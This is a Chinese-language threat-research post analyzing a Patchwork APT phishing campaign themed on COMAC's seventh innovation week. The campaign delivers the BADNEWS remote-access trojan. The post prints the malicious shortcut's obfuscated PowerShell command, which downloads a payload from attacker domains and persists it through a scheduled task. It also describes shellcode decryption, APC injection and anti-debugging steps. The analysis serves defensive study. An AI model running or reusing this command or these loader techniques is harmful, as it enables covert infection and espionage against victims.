首发地址:先知社区,https://xz.aliyun.com/t/15376
首发作者:qianlan
一、前言
本次样本于日常威胁狩猎工作中发现,样本利用“中国商用飞机有限责任公司等单位主办的第七届COMAC国际科技创新周”主题进行钓鱼攻击,经样本同源分析归属于APT组织Patchwork。
如下主题文件用于迷惑用户打开了合法文档,链路释放、执行恶意程序,最终释放Patchwork主战WINDOWS远控木马BADNEWS,控制受害目标。
此篇分析投递释放链路,下一篇将记录分析BADNEWS本体。
相较于以往的链路释放技战术,此次样本开发者在主机、通信特征隐藏、符号去除等免杀、反调试环节做了诸多努力,BADNEWS本体相较于2023年5月曝光版本也有了不小的修改。
二、背景
不同厂商对疑似相同目标组织命名不同,如摩诃草(360安全)、别名白象(安天)、Patchwork(Cymmetria)、APT-Q-36(奇安信)等。有间接证据表明白象组织为印度实体,其攻击目标所涉及的国家和地区分布广泛,除了中国和巴基斯坦等主要目标,还包括以色列、日本、中东、英国、美国、韩国以及中东和东南亚地区。以鱼叉式攻击为主,针对目标国家的航空、国防、能源、金融、政府、IT、媒体、非政府组织、制药、智库进行网络间谍活动,窃取敏感信息。
样本分析
第一阶段,快捷方式下载后续载荷
快捷方式文件“COMAC_Technology_Innovation”,其中包含恶意的”目标“指向恶意载荷。
载荷通过PowerShell下载文件、执行文件、创建计划任务等。
详细功能如下。
-
设置 $ProgressPreference 为 ‘SilentlyContinue’,执行下载或其他操作时不显示进度信息,做行为隐藏。
-
调用Invoke-WebRequest(iwr)下载用于迷惑用户的中文主题PDF文件,并调用Start-Process(saps)启动。
-
调用Invoke-WebRequest(iwr)下载文件并保存为C:UsersPublicsam,并且重命名为Update.exe。 -
创建计划任务TaskReportingUpdate,每分钟执行一次Update.exe。
-
痕迹清理
原始恶意载荷如下。
C:WindowsSystem32conhost.exe%......WindowsSystem32conhost.exe?
powershell$ProgressPreference='SilentlyContinue';
i''w''rhttps://xingyu.ghshijie.com/cvbcolo09/tqerwer8-OutFileC:\\Users\\Public\\COMAC_Technology_Innovation.pdf;
s''a''p''sC:\\Users\\Public\\COMAC_Technology_Innovation.pdf;
i''w''rhttps://Yuxuan.ghshijie.com/jlytw07sev/fuol91mv-OutFileC:\\Users\\Public\\sam;
r''e''n-PathC:\\Users\\Public\\sam-NewNameC:\\Users\\Public\\Update.exe;
c''p''iC:\\Users\\Public\\COMAC_Technology_Innovation.pdf-destination.;
s''c''h''ta''s''k''s/c''r''e''a''t''e/S''cminute/T''nTaskReportingUpdate/t''r"C:\\Users\\Public\\Update";
e''r''a''s''e*?f.?n?<C:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe
下载载荷”Update.exe”如下,为RUST语言编译控制台程序。
第二阶段,解密执行硬编码在样本中的shllcode
3.2.1 回调函数
调试样本”Update.exe”,存在TLS回调函数,判断TLS函数被调用的原因,判断参数a2,回调函数仅在当线程退出(dwReason=0)或当前模块被卸载(dwReason=3)时被调用。
线程创建或所在模块被加载时回调函数无具体函数功能执行,回调函数不存在反调试功能。
3.2.2 初始化
将硬编码在样本中的字符“main”经过宽字符处理和后,设置为当前线程描述性字符串。
功能函数地址以参数形式在主函数导入,在后续被调用。
调用FreeConsole,释放控制台窗口,做窗口隐藏。
3.2.3 shellcode解密
样本硬编码字符数组”aAm2uiegdx3lrye“,长度0x5EA80,以base64编码存储作为密文载荷。
做base64解码,结果存储于指针数组中。
解密模块的代码中包含了部分rust框架代码,关联到了些部分的项目里包含着一些类似的解密算法,可能还是对rust不熟悉,最终未能明确解密算法。
解密shellocde代码如下。
3.2.4 shellcode加载入内存
在完成解密获取到明文shellcode后,通过一系列内核函数通过异步过程调用加载。
-
调用NtAllocateVirtualMemory在目标进程中分配可执行内存。 -
调用NtWriteVirtualMemory 将shellcode写入内存。 -
调用NtQueueApcThread将shellcode插入到当前线程的异步过程调用队列(APC)中,准备执行,最终调用NtTestAlert触发shellcode执行。
第三阶段,shllcode执行,释放并调用去除特征的PE内存段
3.3.1 涉及WINAPI函数地址获取
步入样本功能函数,对所需WIN API定位和异或解密,密文硬编码于shellcode载荷中。解密函数实现类似GetProcAddress的功能,获取api函数地址。
样本遍历当前进程的dll表,遍历dll列表,异或解密获取函数名,从PE头导出表获取函数地址,通过循环右移、异或的方式计算hash与预期结果比对,做函数校验。
-
解析导出表:从 DLL 的 PE 头中获取导出表地址。 -
解密函数名:解密处理目标函数名。 -
比对函数名:遍历导出表,解密每个函数的名称并与目标函数名进行比对。 -
返回地址:如果找到匹配的函数,返回其地址。 -
对解密做校验。
值得注意的是样本解密了初始了反恶意软件扫描接口 (AMSI) 的相关函数,amsi.AmsiScanString、amsi.AmsiScanString。
3.3.2 字符解密
异或解密相关字符,密文均硬编码于shellcode载荷中。
3.3.3 校验
样本利用与win API校验相同的思路,通过循环右移、异或等方式计算一段内存(shellocde、字符等)的hash值,与预期结果相比对。
若调试者插入断点,就会改变最终hash值,校验失败程序中断。
3.3.4 拼接、加载最终远控载荷
加载手法如下。
-
创建段对象:使用 NtCreateSection 创建一个内存段对象,指定大小和保护属性。 -
映射视图:使用NtMapViewOfSection将段对象映射到进程的地址空间中,获取指向该内存区域的指针。 -
写入代码:将第三阶段shellcode写入映射的内存区域。对目标内存区域多次写入,最终拼凑成完整的,隐藏PE头的第三阶段shellcode。
样本NtMapViewOfSection映射的地址空间中拼凑完整的PE文件,初次写入PE头。
后续在0000018FC5650000~0000018FC5695FF0,0x0000045FF0长度约279.875 KB内存空间中,逐步复制入内存段,包括导入表、代码段、数据段等,最终复原完整PE文件。
对“.text”代码段定位并取出处理。
将两段PE载荷(解密内存段、新开辟内存两段)的前0x400内存(1024字节)地址覆盖为0x00。
开发者精心构造了第四阶段PE远控载荷,隐藏了PE程序的[0x0:0x400] ,并且在不影响PE程序功能情况下隐藏了部分符号信息,包括PE头、载信息和入口点地址。每个节的详细信息和数据目录(如导入表、导出表等)的地址和大小等。
循环修改了相关资源段的内存属性,执行最远控载荷,直接跳过PE加载器并从入口点执行(0x18FC5662ED24)。
入口点执行函数反汇编代码如下,通过汇编结构可以看出是Microsoft Visual Studio C++控制台程序入口,即BADNEWS远控木马本体。
后续将继续记录分析BADNEWS远控样本本体。
谢谢师傅们的阅读~
原文始发于微信公众号(帅仔回忆录):APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击